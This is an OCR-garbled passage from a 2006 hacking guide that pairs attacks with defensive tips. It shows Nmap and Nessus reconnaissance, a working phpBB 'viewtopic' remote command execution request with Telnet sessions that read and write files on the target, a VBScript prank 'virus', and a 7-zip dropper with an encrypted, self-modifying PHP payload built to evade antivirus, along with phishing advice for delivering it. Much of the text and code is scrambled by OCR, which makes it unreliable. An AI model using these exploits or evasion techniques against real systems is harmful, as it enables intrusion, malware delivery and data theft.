) at 2006-05-22 15:36 CEST

state: closed)

Apache httpd 2.2.0 ((Fedora))

143/tcp open imap

443/tcp open ssl/http
465/tcp open ssl/smtp
993/tcp open ssl/imap

Courier Imapd (released 2005)
Apache httpd 2.2.0 ((Fedora))

Courier Imapd (released 2005)

<..>
MAC Address: 00:40:63:DE:56:FB (VIA Technologies)
Device type: general purpose

Running:  Linux 2.4.X|2.6.X

OS details: Linux 2.4.6 - 2.4.26 or 2.6.9, Linux 2.
Service Info: Host: server.target.net

6.5-26.11

Nmap finished: 1 IP address (1 host up) scanned in 35.270 seconds

Gathered information

There ! Inless than 2 minutesve obtained the almost complete footprint of tauget's network. Why
almost ? Because we just scanned for the commady services. Playing around with Nmap options
and parameters, we could have conducted a totablptigh and exhaustive scan of each of our target's
hosts, leaving nothing out. But so far, we alrehdye gathered enough valuable information.

Table 8: Gathered information (hack 8)

Logical address Name Services (Software) / Role

192.168.27.1 gateway.target.net HTTP, SSHRemote management
192.168.27.2 bridge.target.net HTTPRemote management
192.168.27.3 psus4.target.net HTTHRemote management

PRINTER, JETDIRECT, etc.: Print server

192.168.27.16

server.target.net

Linux (Fedoraserver
SSH (OpenSSH 4.3)Remote management
DOMAIN: DNS server
HTTP/S (Apache 2.2.0):Web server
SMTP/S (Exim 4.62):E-mail server/relay
IMAP/S (Courier, 2005): E-mail server
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Reference 8. Software signatures

Each software offering a service must comply todbeesponding protocol, in other words a set tdsu
that describe@xactlywhat and when to send or receive data, and fortwpizposes. A network protocol
is veryclose to what we human beings experiment in ody d&: “Sir ? Excuse me !?”, “Yes, Madam ?
What may | do for you ?”, “Can you please hand me galt ?”, “Of course, here it is! Have a good
day !".

However, software programs are usually much moeeige in the way they say things and — unless told
not to — tend to be over-polite. Meaning that whevught to attention, a software will most likelysaver

the equivalent of “John Smith, born January' 1869 in London, how can | help you ?”. That isyer
nice... but way too much information given to a keac Their being very precise will also allow to
distinguish one software from another, even if tlaeg not well “brought up”. Meaning that knowing
John and Simon, and knowing that the first alwaysneers a call to attention by “Huh ?!”, while Simon
greets us in the same situation with a “Eh ?”, wayrfind out exactly who is who, even though they
didn't tell us their name.

Thus, each software has its own personal signatuhich allows it to be easily identified as the
protocoled exchange takes place.

Tip 8.a: Run as few services as possible  (difficulty: fairly easy)

As we saw, services rely on protocols and softwelneeh may —will — have vulnerabilities that make
them vulnerable to an attack. In order to minintlze risks of having someone exploit the weaknestes
a given protocol or software, you shouleh only the services absolutely required for yourneeds
Even better, you shouldy to make your needs rely on as few services asgsible Clever engineering
decisions will help you that way, that is to chotise technical means — among the many availakbat t
allow to satisfy the non-technical requirementshwitie fewest possible new services in your network.
Easy to say, more difficult to achieve, especiallyen the manager insists on being allowed to play
around with the latest messaging software brougtihe market (you know, the one full of “adwarg’’...

Tip 8.b: Restrict access to each service  (difficulty: fairly easy)

Similarly to locking down your network and allowlgrnegitimate users to get connected to it, you €an
and youshould- restrict the access to each service, on each hast,the required clients only. This

step isvery easilyachieved thanks to a “firewall”, which task is itier and allow the access to each
service on the network only to the provisioned so#ctually, you should alreadyave a firewall
between your network and the Internet Or start worryingseriouslyif you don't ! Better still, you
shouldhave a firewall on each host offering services onour network, in order to fine grain your
network's security configuration. Additionally, iaefvall is certainly the prime element to integridgean
Intrusion Detection and Prevention System (IDS/|R®)ng the unavoidable point of passage between a
host and the network, and being the best-suitedezieto selectively shut down the network in casano
intrusion.
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Part Four — Software exploits and Trojan horses

Introduction

Up to now, we have been attacking our target esdlgnon the basis ohetworkhacks. In other words,
we have been exploiting theaffic flowing between the various (legitimate) networlstsoon our target's
infrastructure, or the “obligation” of its netwodervicesto answer the requests for such traffic. As we
saw, theraare ways to prevenall network hacks to succeed, provided one is willmgake the measures
required to do so. Unfortunately, those measuresoften much more difficult to put into place than
performing the hacks they are supposed to prevdst, about half of them require at leastrained
technician — whichmostcompanies (or individualgyill not have handy — either to implement them or,
once implemented, to watch and maintain them. $hgytit, the cost of securing a network
infrastructure properly is unavoidably high, much higher than the cost of hacking into it.

Nonetheless, therare infrastructures that are immune to “evengtworkhacks one could think of. So,
what now ? Our next step is to address the vuligrad of the network hosts themselvesas well as
their users— instead of the network in-between. We will nowfpen a two hacks, based on software
exploits and Trojan horses. While the software explare quite difficult to achiev&;rojan horses are
the most efficient way to hack into a computers, thnks to the “vulnerabilities” of their users. Are
you sure as you opened this document for reading, that gidunot trigger its hidden payload and
launched a nasty little piece of software thagiiently sendingall of your most confidential data to the
hacker who designed it ? Yes !? You are of a tngstiature, aren't you !?
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Hack 9: Exploiting software vulnerabilities (difficulty: piece-of-cake to nightmare)

We already said it, softwarall do havevulnerabilities. There is no preventing them to o Our
economic model — aimed towards maximum productiaityl profits — actually is a fertile ground for
poorly coded and tested softwaRroperly designing and implementing software in ordemtmimize
their vulnerabilities takesime and highly trained technicians. And mark my words, | did not say
“nullify”, which is impossible. In other wordssecure” software costmore than their “quickly-done-
and-just-so-it-works” counterparts. Still in other words, they are a lot of softwavat there which
vulnerabilities just wait to be exploited !

A vulnerable web server scenario

For the sake of the hack we are going to perform,niodeliberately setup a host with a known
vulnerability, one which actually cost many commeana lot of money as it got to be exploited by lkeask
back in 2004. More precisely, | setup a web senseng Apache 1.3.31, along with a vulnerable bullet
board software using phpBB 2.0.8 and PHP 4.3.6¢thxas it would have been if installed with the
components available as the end of May 2004.

One can imagine guite realistic scenario for having such a web server\arderability be available
perhaps even as of today. On May 2004, Jack, a atempavvy employee of a small sales company,
praises the advantages of having a bulletin bowthliled on the company intranet site, allowingdees

to quickly exchange information, wherever they &envinced, the manager gives Jack the green light.
Jack has always been the “computer’-guy of the @mphasn't he ? He already setup the company
server all by himself, didn't he ? Unfortunatelgckl was not (technically) trained enough to knoat tie
should not have made that bulletin board reachfabie the Internet, protected only by its usernaares
passwords. And he did not know either that he shdalve been updating all software involved on a
regular basis. Everything was running “good”, wipdate ? He a is a salesman, after all, isn't he Rdd
more important things to care about !

Does this scenario sound plausible to you ? Wedigree, it is a bit far-stretched, speaking as ayM
2006. But nonetheless, | have encountered situgtibinough my personal experience, which wexgy
closeto that kind of scenario. The security vulneraig$i involved may not have been as blatant. Blit sti

Nessus

Again, it is easier to quote its official websitehttp://www.nessus.org- to introduceNessus “The
"Nessus" Project aims to provide to the Internehicmunity a free, powerful, up-to-date and easy ® us
remote security scanner”. As such, Nessus is dlailas an installable package for most Linux
distributions, and its regularly updated “plug-iress® available for free directly from its web site.

Finding vulnerabilities with Nessus

Using Nessus, we will be able to search and idgetich and every vulnerability of the software ingn
and accessible on a given host. But now comesrtieefor yet another warning...

WARNING ! Scanning a host for its vulnerabilities is \&@ry noisy process! Security-aware
infrastructures will detect it immediately ! (acliya running Nessus without precaution on a server
equipped with Snort — an Intrusion Detection Systejust led to more than 500 alert messages in my
inbox)
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So, let's launch the Nessus GUI and start scarmingarget, after configuring the appropriate “ping”
based on what Nmap already told us about it.

lllustration 7: Run a vulnerability scan with Nessu
Nessus GUI

After afew minutesNessus will give us a detailed report on each erety vulnerability found on our
target's host, along with some reference mateniélracommendations on how to fix them.

lllustration 8: Nessus vulnerabilities report

Nessus GUI

“Unfortunately”, these references and recommendat@so points us almost straight-forwardly to how
to exploit them. Every medal has it backside...
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Exploiting the vulnerability

This is where experience comes handy. Knowing wiiidherabilities may exploited, in which way, and
for which purposes, will definitely help the hacksicceed in his mischiefs faster. But remember, a
hackeris interested into that kind of knowledge. Sowi# know...

Thanks to Nessus, a quite well known and seveneevability has been identified. Indeed, the versibn
the bulletin board software running on our targe¢sser — phpBB 2.0.8 along with PHP 4.3.6 — is\pro
to a cross-scripting vulnerability, which “allowket attacker, using a carefully crafted URL, to gain
access to the machine command shell, possiblyadthinistrative privileges”. These words soundsequit
familiar, don't they ? The kind of gibberish onads in the newspaper every now and then...

“Unfortunately”, this gibberish is gold to our eatksnowing what is feasible is a good step towards
achievingit ! In our cases, and thanks to the Internet,ifigdhe information on how tactually exploit
this vulnerability is just a matter of a minutes put it technically, we shall just send a requesthe
server matching the following “syntax” :

Text 31: The phpBB “viewtopic” (or “highlight”) expit

HTTP

GET <path-to-phpBB>/viewtopic.php?t=1&highlight=".s ystem(getenv(HTTP_PHP)).'
HTTP/1.1

Host: <url>

PHP: <cmd>

That easy !?!...

Telnet

Telnetis a very common utility found pre-installed on megstems, which original purpose was to allow
users to access the command line of their mackeimetely, using the Telnet protocol. Nowadays, Telne
is not —should not- used for that purpose any longer, but is verydizamhen it comes to send commands
directly to a server, whichever the protocol usedlong as it is not encrypted.

Exploiting the vulnerability with Telnet

Though the phpBB exploit may be automated in gserisuch as the Perl script that made it known to
the world — we will use Telnet to perform this haftk the sake of clarity. Let's proceed.

Text 32: phpBB exploit with Telnet

root@itching-hacker:~>
Telnet 192.168.27.32 80 # connect to 192.168.27.32 on the HTTP port

telnet:input

GET /phpBB2/viewtopic.php?t=1&highlight=".system(ge tenv(HTTP_PHP)).' HTTP/1.1
Host: 192.168.27.32

PHP: dir

<empty carriage-return>

Let's now have suspense weave the thread of exjecta our heart for the time it takes you to gethe
next page...
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Intense, wasn't it ?!

telnet:output
<.>
Volume in drive C is SYSTEM
Volume Serial Number is 2046-9539
Directory of c:\program files\apache group\apache\h tdocs\phpbb2

24.05.2006 00:15 <DIR>
24.05.2006 00:15 <DIR> .
23.05.2006 11:58 <DIR> admin
23.05.2006 11:58 <DIR> cache
20.07.2003 17:42 5'051 common.php
23.05.2006 12:36 267 config.php
23.05.2006 11:58 <DIR> db
23.05.2006 11:58 <DIR> docs
20.07.2003 17:42 810 extension.inc
20.07.2003 17:42 3'596 faq.php
13.03.2004 17:21 45'540 groupcp.php
23.05.2006 11:59 <DIR> images
23.05.2006 11:59 <DIR> includes
13.03.2004 17:21 14'487 index.php
23.05.2006 11:59 <DIR> language
18.03.2004 20:51 7'123 login.php
13.03.2004 17:21 12'164 memberlist.php
13.03.2004 17:21 37'643 modcp.php
24.05.2006 00:15 18 phpinfo.php
13.03.2004 17:21 34'408 posting.php
28.03.2004 18:57 72'531 privmsg.php
20.07.2003 17:42 3'719 profile.php
18.03.2004 20:51 42'484 search.php
23.05.2006 11:59 <DIR> templates
13.03.2004 17:21 23'154 viewforum.php
20.07.2003 17:42 7'232 viewonline.php
23.05.2006 23:15 45'063 viewtopic.php

17 File(s) 355290 bytes

10 Dir(s) 1'013'768'192 bytes free
<..>

Tadam !!!

You don't see the point yet ? Ok, a few more contaaent with no more explanations...

Text 33: phpBB exploit with Telnet (bis)

root@itching-hacker:~>

Telnet 192.168.27.32 80 # connect to 192.168.27.32 on the HTTP port

telnet:input

Host: 192.168.27.32

<empty carriage-return>

GET /phpBB2/viewtopic.php?t=1&highlight=".system(ge tenv(HTTP_PHP)).' HTTP/1.1

PHP: type "D:\Documents and Settings\target\A Very Secre t Text Document.txt"

Telnet:output

<..>
<content of "D:\Documents and Settings\target\A Ver
That secret, really !?!

<.>

y Secret Text Document.txt">
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Text 34: phpBB exploit with Telnet (ter)

telnet:input

GET /phpBB2/viewtopic.php?t=1&highlight=".system(ge tenv(HTTP_PHP)).' HTTP/1.1
Host: 192.168.27.32

PHP: echo "Gottcha !!!" > "D:\Documents and Settings\tar get\Desktop\Gottcha.txt"

<empty carriage-return>

telnet:input

GET /phpBB2/viewtopic.php?t=1&highlight=".system(ge tenv(HTTP_PHP)).' HTTP/1.1
Host: 192.168.27.32

PHP: dir "D:\Documents and Settings\target\Desktop"

<empty carriage-return>

telnet:output

<..>
Volume in drive D is DATA
Volume Serial Number is 00C5-F519

Directory of D:\Documents and Settings\target\Deskt op

24.05.2006 14:12 <DIR>

24.05.2006 14:12 <DIR>

24.05.2006 14:12 16 Gottcha.txt
1 File(s) 16 bytes
4 Dir(s) 10'223'673'344 bytes free

<..>

See the point, now lersonallyfind it quite exhilarating...

Gathered information

Shortly put, we are now able to obtain no moreass Ithan the entire content of our target's hagd di
Actually, one should bear in mind that there aletanorecommands available on the Windows platform
— since that is our target's computer operatintgeays- to perform almostnymisdeed. Scary.

Table 9: Gathered information (hack 9)

Information I

No more no less than the entire content of our takg's hard disc

Reference 9: The phpBB vulnerability and the Santy ~ worm

phpBB — standing for “PHP Bulletin Board” — is a softwareed bymanyweb sites in order to provide
their visitors with a “forum” — a place where thegn launch discussions (topics) and exchange ideas
(messages) — or a Frequently Asked Question (FA®)ist of questions, organized by topics, alonthwi
their answers. As it denomination says, phpBB sebe thePHP scripting language and interpreter,
another software that is part of the web server.

Unfortunately, as of June 2004, the conjunctiobath software allowed for a so-called “cross sanggt
vulnerability — in other words, the possibility fa hacker to make the legitimate server executes
illegitimate commands, sent remotely, that showden have been able to get executed — that madie eac
and every server using phpBBilnerable to severe hackirfgs we just saw). Technical information on
the subject is available http://www.securityfocus.com/bid/14086

This vulnerability unfortunately drew the attentiohnasty hackers, who turned it into thanty worm, a
virus which was responsible for defacingnyweb sites around the world, and cost their ownlet af
annoyance, if not a lot money. More technical infation about it can be found at
http://securityresponse.symantec.com/avcenter/vedata/perl.santy.html while its non-technical story
may be found on the BBC web site hitip://news.bbc.co.uk/1/hi/technology/4117711.stm

The Itching Hacker Guide to the Galaxy page 48 May 2006



Tip 9: Keep your software up-to-date  (difficulty: piece-of-cake to nightmare)

When a service shows up as absolutely requiredre tare usually at least five to ten such servicea
standard network — you shoukgep each service (and software) up-to-date, regulg installing the
patches and fixes published by its supplierRemember thato software is deprived of vulnerabilities.
Thus, every softwareeedsto be updated on a regular basis, as its weaknessadiscovered — by the
“good” people, or the “bad” — and as it becomesprto an attack. Having a non-supported or no-lenge
supported software running within an infrastructimesis a security risk, the higher as times goes.

While a quickly applied patch will most of the tinsaffice to fix a given vulnerability, you may also
quite rarely, fortunately — have tenvisage migrating vulnerable services to new software or
technology, task which may prove highly difficult if no inteiptions of service are to occur. One good
example, taken from the Unix world, would be theyration from the “good old” Network File System
(NFS) and Remote Procedure Call (RPC) — in otheds/the most common file sharing service in Unix
networks — to its new flavor, requiring the additie if one is willing to do things correctly — dig
Kerberos authentication and authorization proto@bgng with the Light-weight Directory Access
Protocol (LDAP). Try this sentence on your netwadministrator as his next task assignment. His hair
will turn gray !
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Hack 10: Create and use Trojan horses

Until now, we have been exploiting the vulneralat of the systemsinvolved in our target's
infrastructure. When dealing with infrastructureghtty concerned with security, odds are howevetequi
good that every system will have been “hardenedperly and that none of our attempts would succeed.
So now comes the time to address the last vulrddyaini our target's infrastructure, one that haeib
provedto be theeasiestto exploit, with thehighest chance of succesthe human factor. One simple
fact to back this saying. Homanytime have you read or heard that you shallopen attachments or
install anythingon your computer which origin and content you dbatzsolutelytrust ? How many times
did you howeverdo it ? | personally knomo onewho did not admit doing so. Here stands a wide open
door ! A door which we will use to install a sodeal “Trojan horse”, or, in other words, a computer
program which will perform illegitimate actions Wdut you ever noticing it.

(difficulty: technical)

Create a simplistic “virus” in Visual Basic

As part of their training, most technicians nowal#arn the fundamentals of the Visual Basic (VB)
scripting language, one that allows to achieve atnamy kind of task — legitimate or not — on the
Windows platform.

Now, consider the following Visual Basic script :

Text 35: A simplistic “virus” in Visual Basic

Visual Basic:screensaver.vbs

ON ERROR RESUME NEXT
SET wshShell = WScript.CreateObject("WScript.Shell"

wshShell.RegWrite "
wshShell.RegWrite "
wshShell.RegWrite "
wshShell.RegWrite "
wshShell.RegWrite "
wshShell.RegWrite "
wshShell.RegWrite "
wshShell.RegWrite "
wshShell.RegWrite "
wshShell.RegWrite "
wshShell.RegWrite "
wshShell.RegWrite "
wshShell.RegWrite "
wshShell.RegWrite "
wshShell.RegWrite "
wshShell.RegWrite "
wshShell.RegWrite "
wshShell.RegWrite "
wshShell.RegWrite "

HKCU\Software\Microsoft\Screensa
HKCU\Software\Microsoft\Screensa
HKCU\Software\Microsoft\Screensa
HKCU\Software\Microsoft\Screensa
HKCU\Software\Microsoft\Screensa
HKCU\Software\Microsoft\Screensa
HKCU\Software\Microsoft\Screensa
HKCU\Software\Microsoft\Screensa
HKCU\Software\Microsoft\Screensa
HKCU\Software\Microsoft\Screensa
HKCU\Software\Microsoft\Screensa
HKCU\Software\Microsoft\Screensa
HKCU\Software\Microsoft\Screensa
HKCU\Software\Microsoft\Screensa
HKCU\Software\Microsoft\Screensa
HKCU\Software\Microsoft\Screensa
HKCU\Software\Microsoft\Screensa
HKCU\Software\Microsoft\Screensa
HKCU\Software\Microsoft\Screensa

)

vers\Text3D\AllScreenSame", 1, "REG_DWORD"
vers\Text3D\SurfaceType", 1, "REG_DWORD"
vers\Text3D\Specular’, 1, "REG_DWORD"
vers\Text3D\SurfaceColor", 7829367, "REG_DWORD"
vers\Text3D\CustomTexture", ", "REG_SZ"
vers\Text3D\CustomEnvironment", ", "REG_SZ"
vers\Text3D\UseCustomColor", 0, "REG_DWORD"
vers\Text3D\UseCustomTexture", 0, "REG_DWORD"
vers\Text3D\UseCustomEnvironment", 0, "REG_DWORD"

vers\Text3D\MeshQuality", 1000, "REG_DWORD"
vers\Text3D\Size", 10, "REG_DWORD"
vers\Text3D\RotationSpeed", 50, "REG_DWORD"
vers\Text3D\RotationStyle", 3, "REG_DWORD"
vers\Text3D\DisplayString", "GOTTCHA !!I", "REG_SZ"
vers\Text3D\DisplayTime", 0, "REG_DWORD"
vers\Text3D\FontWeight", 700, "REG_DWORD"
vers\Text3D\FontHeight", 4294967199, "REG_DWORD"
vers\Text3D\Fontltalic", 0, "REG_DWORD"
vers\Text3D\FontCharSet", 16909056, "REG_DWORD"

wshShell.RegWrite "HKCU\Software\Microsoft\Screensa vers\Text3D\FontPitchFamily", 1862288194, "REG_DWOR D"
wshShell.RegWrite "HKCU\Software\Microsoft\Screensa vers\Text3D\FontFace", "Comic Sans MS", "REG_SZ"
wshShell.RegWrite "HKCU\Control Panel\Desktop\LowPo werActive", "0", "REG_SZ"

wshShell.RegWrite "HKCU\Control Panel\Desktop\LowPo werTimeout "REG_SZ'

wshShell.RegWrite "HKCU\Control Panel\Desktop\Power OffActive”, " EG_SZ

wshShell.RegWrite "HKCU\Control Panel\Desktop\Power OffTimeout", "0", "REG_SZ'

wshShell.RegWrite "HKCU\Control Panel\Desktop\Scree nSaverlsSecure”, "1", "REG_SZ"

wshShell.RegWrite "HKCU\Control Panel\Desktop\Scree nSaveTimeout", "60", "REG_SZ"

wshShell.RegWrite "HKCU\Control Panel\Desktop\Scree nSaveActive", "1", "REG_SZ"

wshShell.RegWrite "HKCU\Control Panel\Desktop\SCRNS AVE.EXE", "C:\WINDOWS\system32\sstext3d.scr", "REG_ Sz"

Once executed, those few lines would haveaanoying— but so far harmless — result. Daydreaming
behind your keyboard — or hanging on the phoner-afore than 60 seconds would unavoidably see a
nicely rendered “Gottcha !'!” come wobbling on yaareen.

Would you immediatelyecognizeit as a “Text 3D” screen saver and be able to meyour computer to
its normal state ?

Evade anti-virus detection

Before proceeding to see the fundamentals for iagga genuine Trojan horse, we shall address the
objection that some of you may have expressed wedding the previous lines : “Hey, if this is aug,

my anti-virus would have recognized it and warneel !'fn Oh yes ? Just copy the above Visual Basic
code in a text file, rename it to “screensaver.\dosl double-click on it Most of you will get “infected”
without your anti-viruseverraising an eyebrow. How is that so ? Well, shopil, anti-virus can only
recognize what they already know (based on theéfuévwsignatures” file). So, imaking your own virus,
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you just create something that anti-virus will intlsely not be able to recognize as such. Welt'th
until it brings the attention of the anti-virus agsers, who will include the “signature” of youmrws into
the “virus signatures” file, which you update reglyy (you do, don't you !?). On the other hand, som
anti-virus may try to recognize viruses based omatvwheydo rather than on their “signature” (based on
so-called “intelligent” analysis of the code thatabout to get executed). “Fortunately”, as of yodlaey
do quite a poor job out of it.

Now, knowing how anti-virus software work, what eelsan be done to evade detection ? Well, one
method ispolymorphism. With polymorphism, virus will modify themselvesdalter their “signature”
every time they get executed, in order to makentghtmare to keep up with them. One other method
which proves highly efficient igncryption. Using encryption, and making the necessary uypte
part — the one that decrypts and launch the viaygopd — as innocuous as possible, one also makes i
nightmare — if notimpossible— for every content inspection system — anti-virus among thero —
recognize or analyze the virus. Using encryptianglwith polymorphism — in other words simply re-
encrypting the virus with a different key each tiihgets executed or delivered — one can desiginua v
that will most certainlybe able to reach its recipient. This is particylarte if youmake a specifically
crafted and adapted virus for yourtarget.

7-zip

7-zip — http://www.7-zip.org— is a compression utility, available as an inghdé package for the
Windows platform as well as for most Linux distrilmns, achieving very high compression ratio and
allowing to create self-executable archives, allitoentirely from the command line and including
encryption. A very handy tool !

Create a Trojan horse using PHP and 7-zip

Now, why stick with Visual Basic ? Some others mpagfer to use C/C++. Or Java. Or Perl. Or whatever.
It won't change anything, as long as you are abledch your objective. | personally am quite miefit

in PHP, a scripting language that allowsvery quicklyperform complextasks, such as high-grade
encryption, network services implementation or, ese.

First, let's get ourselves a (sample) PHP payload.

Text 36: A sample PHP payload

PHP:payload.php
<?php

echo 'Gottcha II!';
>

Then, let's create an executable file which logk®cuous enough too hopefully fool our target's-ant
virus. This trick will be achieved using 7-zip twiconce to package and encrypt the malicious pdydoa
no content analysis can take place, then to packagelifuscated payload along with 7-zip itself and a
short command file responsible to “execute” theiomls payload. This being done, all what an anti-
virus may see is a self-executable compressed 6&tmtaining the “7za.exe”, “install.pkg” and
“install.bat” files, “7za.exe” being perfectly ldéghate (a compression utility), “install.bat” comtang
two apparently harmless commands, and “install.dajihg a black-box which content is encrypted, thus
unanalyzable.
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Text 37: Create and encrypted executable with 7-zip

DOS>

7za.exe a -mx=9 -mhe=on -pKey install.pkg
php_mcrypt.dil php.ini payload.php

php.exe libmcrypt.dll php5ts.dli

DOS>

edit.com install.bat

edit:install.bat

7za.exe x -pKey install.pkg
php.exe payload.php

DOS>

edit.com autorun.cfg

edit:autorun.cfg

J1@Install@!UTF-8!
RunProgram="install.bat"
J@InstallEnd@!

DOS>

7za.exe install.pkg
+gottcha.7z gottcha.exe

7za.exe a -mx=9
copy /b 7zS.sfx+

gottcha.7z
autorun.cfg

install.bat

Now, what about the PHP payload ? As it gets uncesged, it will unavoidably be analyzed by the-anti

virus (actually, the previous trick was performedinty to avoid giving the anti-virus the list ofl dles
required by our mischief, which could be used a&gfature”). Well, let's encrypt the PHP payloaelit$

Text 38: An encrypted PHP payload

PHP:payload.php

<?php
di('php_mcrypt.dll');
$sPayload="
@eval(mcrypt_decrypt(MCRYPT_BLOWFISH,'Key',base64_d
CBC));

7>

3Unj2IN2QW0SsW9IfgL668WesOrJMrTKz "; // echo 'Gottcha !!I';

ecode($sPayload), MCRYPT_MODE_

OK, obfuscated enough. But the encrypted payloay Imeaused as “signature”, no !? Well, this is where

polymorphism comes handy.

Text 39: PHP polymorphic payload

PHP:payload.source.php (unencrypted)

<?php

/I Payload

echo 'Gottcha !!!;

/I Polymorphism
$sScript=file_get_contents($_SERVER['argv'][0]);
$sPayload=preg_replace('/.\(\'(*?)\'\).*/',"$1",$
$sKey=preg_replace('/.*\'(*?)\',.*/',"$1",$sScrip
$sPayload=@trim(mcrypt_decrypt(MCRYPT_BLOWFISH,$sKe
RYPT_MODE_CBC));

$sKey=shal(rand());
$sPayload=@base64_encode(mcrypt_encrypt(MCRYPT_BLOW
ODE_CBQ));
file_put_contents($_SERVER['argv'[0],"<?dI('php_mc
pt(MCRYPT_BLOWFISH,'$sKey',base64_decode('$sPayload
?>

sScript);
v);
y,base64_decode($sPayload),MC

FISH,$sKey,$sPayload, MCRYPT_M

rypt.dll'); @eval(mcrypt_decry
"),MCRYPT_MODE_CBCQ));?>");
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Text 40: PHP encrypted polymorphic payload

PHP:payload.php (encrypted and everchanging)

<?dI(‘php_mcrypt.dil');@eval(mcrypt_decrypt(MCRYPT_ BLOWFISH,'69¢171f835c6994b2eb
b0060b71a851187f3d6de’,base64_decode('Y/08orXLUCVKB XPLz/07fJP8bzdH2kF4RS6GyrNIlan
OfR4lIVv4qsYJi6 T7s5fj1gq5vzUoZ8pToSTZAG/xHUwb/25XS+ 4gAprxyNTkrrFXS30M1C21LfnmTaX

cFRGUpPALIO6In+2gxLic9x148pMglw+X1nrBsLzVwm7vPfBNbCr  fwMu7GprrusM2wCVyUAIxgOcOYZLW
62jgtSLymt6INBUtV/5zyV11xi+zrlA30Y XmX+dw6SvhsXUQwWFM cCTG2HjrzZ8WXH2vXzTn7DPFHSz+dy
cyQrznai9W/8hCGgOGvJI9gkTnu/gukjEbN00a4 TE2puGKWKNWOP XYdU1ByrOIJNUY XikApMMUMAwWdRY z@
4NEKVMIgsdIEatF/Ss4BakaWu7rxNiw8XudAOYup6xVilX2o0PPo  nMHPwOuU7RLi8x5v8g6sQJy7HbVikR
kilpTcbglX5b36JY+J+TtXG70s5UMGgC5wafJHhVSX61+wmO5Ws AcbeOxCFgttwr9Big4S/1YvSOPxGh
VAC+18VdGVBUIAbTCVjojg/XJCWZx/u3y5/2D2GFZMIgSAF1TRt  hhT+Eq/VDrekV84I5bs7dzj313EJS
B/s2iPEH8a/zTO2r7+Mt4sBxHkXxqUFaH4HmWVwe O6 0OHHHciMmRkQOslcWaNtgmqcDg4gfuqwA8akaZi
ZdRfX7yWQIbel YxdEipeOWSwr8EChBhTLbTONWpAMmMoVvGSMipemyMopQkm4Fy4oRsv23re2Xr+rs2j7
kG/KclIPLMp2CaUIc8="),MCRYPT_MODE_CBC));?>

Well, OK, but what about the 7-zip executable ? W\seime additional code in the PHP payload wilketak
care of that ! I'll let that as an exercise forghanterested in pursuing the matter further.

Now, what about the Trojan horse this is all suppo® allow us to obtain ? Well, PHP igeature-rich
scripting language, allowing to do whatever one maagine, from grabbing files on the hard disc to
sending them silently to the “outside”, using ardeguate mean (by e-mail, by uploading them on a
compromised web server, by transferring them torapromised file server, by having them ready to get
grabbed through a backdoor, etc.). Adapting thdoaalyto match our hacking purposes is yet another
good exercise !

Have your Trojan horse installed

Now that we have an encrypted, polymorphic, PHRt#d30jan horse at hand, how do we actually get it
installed on our target's host and perform its eests ? Actuallywhat has been proved to be the
easiest way is to persuade (one of) our target'sers to do it for us! Using social engineering —
deception and persuasion — we shall gather as mtarimation as possible about one or more users, an
then carefully craft an e-mail that would make hivam open the attached file — our Trojan horse — or
click on a web link to have it downloaded and ifisth

While you will certainly recognize claims about ttegportunity to easily make a million-dollar prtfi
as an attempt to deceive you, what if you recemed-mail, seemingly from someone you know well
and you trust, inviting you to open the attachedyses from his last holidays in Spain, “Where|ytrine
had a lot a fun ! You really should see it ! H&ll you about it next time you meet !” ? Knowirttat this
friend of yoursactually was in Spain last week — as we also learned afiemmgly professionally-
justified phone calls to his assistant — you waulsst likely do it, wouldn't you ?!

OK, you might not, because this example is periséipsa little too obvious. But what if you were aleng
with genuineprofessionals, whose patience is matched by thgiereence, and whose objective is to
havetheir very clever and carefully crafted Trojan leonsstalled on your machine ? The technically most
“secure” infrastructure in the world have been coonpsed this way... and othessll be !

Tip 10.a: Don't open attachments  (difficulty: piece-of-cake)

That is certainly not the first time you hear caidehat warning. But we will repeat it agaiDd not open
any attachment or click on any link, unless you are@bsolutely required to (professionally speaking)
and you are absolutely certain of their origin andharmlessnessRemember that by not complying to
that statement, you jeopardize the entire secafifpur infrastructure !

Tip 10.b: (Digitally) sign your messages  (difficulty: technical)

With digital signature being a mature technologylémg years now, | still wonder why digitally sigig
e-mail messages hasn't become an obligation, edlyeeithin security-concerned infrastructures. Bve
if you are not willing to pay armfficial “trustee” for your Public Key Infrastructure (PKlpothing
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prevents you tcsetup your own “chain of trust” and have each and every employse a digital
certificate (ID) to sign messagesthus making itimpossiblefor an attacker to forge the identity of
someone else. Every e-mail clients available noy@a@#ows to do so. Coupled with an internal policy
stating thatno attachments or links shall be opened unless th@essage has been signed by a
(digitally) trusted sender, I'm quite confident that one could reduce the&ksi®f Trojan horses
dramatically. Your call !
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Part Five - Conclusion

So, is your infrastructure secure (unquoted) ?youd follow the given recommendations ? Did you seek
the expertise of a specialist to do so ? Or danltlyelieve that hacking is so easy and/or so confmon

At the end of this document, | hope | have brougti to believe that hacking into a computer or a
network infrastructure is0 black magi¢c one that can only be seen performed in the moviethe
examples given here may have sounded too simplstico-longer-to-be-concerned to you, | hope |
nonetheless got you convinced that exploiting wah#ities is just a matter of obtaining the appraie
information, not of being a top-notch computer ekpdust wait a little after a new vulnerability has
been discovered, and a top-notch computer expert akillful script-kiddie will make it known to
everyone howto exploit it. That's the way itis. That is why every owner of a computer or a netwde
mustbe concerned by its security
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